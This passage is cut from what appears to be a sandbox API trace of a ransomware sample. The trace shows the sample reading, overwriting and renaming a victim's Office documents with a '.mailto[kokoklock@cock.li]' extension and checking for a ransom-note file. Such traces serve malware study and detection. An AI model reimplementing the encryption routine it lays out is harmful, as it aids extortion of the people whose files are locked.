returned="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731" [0170.386] wcscat (in: _Dest=0x2ff2450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.386] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\90pgs.xlsx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\90pgs.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.387] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.388] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2450) returned 1 [0170.388] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87fd8 [0170.388] wcscpy (in: _Dest=0x2f87fd8, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0170.388] wcscat (in: _Dest=0x2f87fd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0170.388] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0170.388] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87fd8) returned 1 [0170.388] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5300) returned 1 [0170.388] RtlExitUserThread (Status=0x1) Thread: id = 1902 os_tid = 0xc0c [0170.389] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\9nmdocbzbhwyqq.pptx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.390] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.390] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\9nmdocbzbhwyqq.pptx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.390] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x1256ff14 | out: lpFileSize=0x1256ff14*=31824) returned 1 [0170.390] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x7c4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.390] ReadFile (in: hFile=0x528, lpBuffer=0x1256fee8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1256fee4, lpOverlapped=0x0 | out: lpBuffer=0x1256fee8*, lpNumberOfBytesRead=0x1256fee4*=0x4, lpOverlapped=0x0) returned 1 [0170.392] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.392] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0170.392] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0170.392] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0170.392] NtQuerySystemTime (in: CurrentTime=0x1256fec0 | out: CurrentTime=0x1256fec0*=132121213277095915) returned 0x0 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x16a8841 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xefba8492 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x90a2054b [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x65c614a9 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x6234182c [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x4e52d20f [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xc49461f8 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x8b9c2ded [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x54d057da [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x8b8b11c6 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xdd319c6c [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x1147327a [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xd166e494 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x479275e3 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xe964cd0 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x4ed544c1 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xdbe7238f [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xff00358e [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x62820efa [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xa1d9b526 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xbb9f18fa [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x1b7e2f3f [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x61ec2858 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x31b824e4 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x8fad7957 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xaefd0b35 [0170.392] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xb4c4cdc4 [0170.393] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xd3f9d8c7 [0170.393] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x4be11d51 [0170.393] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xc96c09a4 [0170.393] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0xfde35ae8 [0170.393] RtlRandom (in: Seed=0x1256fecc | out: Seed=0x1256fecc) returned 0x5d0fd72b [0170.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0170.403] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.403] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.404] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.404] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0170.404] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.404] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.404] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1256fe98, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x1256fe98*=0x4096, lpOverlapped=0x0) returned 1 [0170.405] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.405] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.405] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.405] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.405] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.405] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.405] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0170.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0170.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.405] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1256fe98, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x1256fe98*=0x4096, lpOverlapped=0x0) returned 1 [0170.406] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.406] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x7c50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.406] WriteFile (in: hFile=0x528, lpBuffer=0x2f884a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1256fed0, lpOverlapped=0x0 | out: lpBuffer=0x2f884a8*, lpNumberOfBytesWritten=0x1256fed0*=0x20, lpOverlapped=0x0) returned 1 [0170.406] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.406] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.406] WriteFile (in: hFile=0x528, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1256fee4, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x1256fee4*=0x8, lpOverlapped=0x0) returned 1 [0170.406] WriteFile (in: hFile=0x528, lpBuffer=0x1256fefc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1256fee4, lpOverlapped=0x0 | out: lpBuffer=0x1256fefc*, lpNumberOfBytesWritten=0x1256fee4*=0x4, lpOverlapped=0x0) returned 1 [0170.407] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1256fee4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1256fee4*=0x4, lpOverlapped=0x0) returned 1 [0170.407] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1256fee4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1256fee4*=0x6c, lpOverlapped=0x0) returned 1 [0170.407] WriteFile (in: hFile=0x528, lpBuffer=0x2fab550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1256fee4, lpOverlapped=0x0 | out: lpBuffer=0x2fab550*, lpNumberOfBytesWritten=0x1256fee4*=0x20, lpOverlapped=0x0) returned 1 [0170.407] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1256fee4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1256fee4*=0x4, lpOverlapped=0x0) returned 1 [0170.407] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0170.407] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0170.407] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.407] CloseHandle (hObject=0x528) returned 1 [0170.407] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe0) returned 0x2f98b48 [0170.407] wcscpy (in: _Dest=0x2f98b48, _Source="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731" [0170.407] wcscat (in: _Dest=0x2f98b48, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.407] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\9nmdocbzbhwyqq.pptx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\9nmdocbzbhwyqq.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.408] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.408] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98b48) returned 1 [0170.408] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87fd8 [0170.409] wcscpy (in: _Dest=0x2f87fd8, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0170.409] wcscat (in: _Dest=0x2f87fd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0170.409] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0170.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87fd8) returned 1 [0170.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feec18) returned 1 [0170.409] RtlExitUserThread (Status=0x1) Thread: id = 1903 os_tid = 0x84c [0170.410] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\crz2qjg8m7wm.docx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.411] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\crz2qjg8m7wm.docx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.411] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x125efb84 | out: lpFileSize=0x125efb84*=52417) returned 1 [0170.411] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xccbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.411] ReadFile (in: hFile=0x528, lpBuffer=0x125efb58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x125efb54, lpOverlapped=0x0 | out: lpBuffer=0x125efb58*, lpNumberOfBytesRead=0x125efb54*=0x4, lpOverlapped=0x0) returned 1 [0170.412] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.412] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0170.412] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0170.412] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0170.412] NtQuerySystemTime (in: CurrentTime=0x125efb30 | out: CurrentTime=0x125efb30*=132121213277251767) returned 0x0 [0170.412] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x8cd81a79 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x9d30ae4f [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x63fc5f1 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0xb0aa5ed [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0xa966508e [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x3bd63b05 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x2f3ffefd [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0xc85122f8 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x4d1019a6 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x69436934 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0xf07fca52 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0xfa5a139f [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x1dc780e [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0xf4f28b6e [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x6bdb8feb [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x734422b3 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x696f53a1 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x290790bb [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0xe54ea522 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x309f3746 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x5d9225da [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0xeffc3071 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0xc17596b8 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x255e0d66 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x88476f7e [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x6fc39f3f [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0xd4a651d7 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x5facb890 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x231b7ba0 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x23125d84 [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0x1c05b86b [0170.413] RtlRandom (in: Seed=0x125efb3c | out: Seed=0x125efb3c) returned 0xefde15a3 [0170.423] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0170.424] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.425] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.425] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.425] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0170.425] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.425] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.425] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x125efb08, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x125efb08*=0x4096, lpOverlapped=0x0) returned 1 [0170.426] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.426] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.426] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.426] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.426] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.426] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.426] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.426] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8abf8 [0170.426] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8abf8) returned 1 [0170.426] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.426] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.427] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x125efb08, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x125efb08*=0x4096, lpOverlapped=0x0) returned 1 [0170.427] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.427] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xccc1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.427] WriteFile (in: hFile=0x528, lpBuffer=0x2f884a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x125efb40, lpOverlapped=0x0 | out: lpBuffer=0x2f884a8*, lpNumberOfBytesWritten=0x125efb40*=0x20, lpOverlapped=0x0) returned 1 [0170.427] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.427] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.427] WriteFile (in: hFile=0x528, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x125efb54, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x125efb54*=0x8, lpOverlapped=0x0) returned 1 [0170.427] WriteFile (in: hFile=0x528, lpBuffer=0x125efb6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x125efb54, lpOverlapped=0x0 | out: lpBuffer=0x125efb6c*, lpNumberOfBytesWritten=0x125efb54*=0x4, lpOverlapped=0x0) returned 1 [0170.427] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x125efb54, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x125efb54*=0x4, lpOverlapped=0x0) returned 1 [0170.428] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x125efb54, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x125efb54*=0x6c, lpOverlapped=0x0) returned 1 [0170.428] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x125efb54, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x125efb54*=0x20, lpOverlapped=0x0) returned 1 [0170.428] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x125efb54, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x125efb54*=0x4, lpOverlapped=0x0) returned 1 [0170.428] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0170.428] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0170.428] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.428] CloseHandle (hObject=0x528) returned 1 [0170.428] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xdc) returned 0x2f98b48 [0170.428] wcscpy (in: _Dest=0x2f98b48, _Source="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731" [0170.428] wcscat (in: _Dest=0x2f98b48, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.428] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731" (normalized: 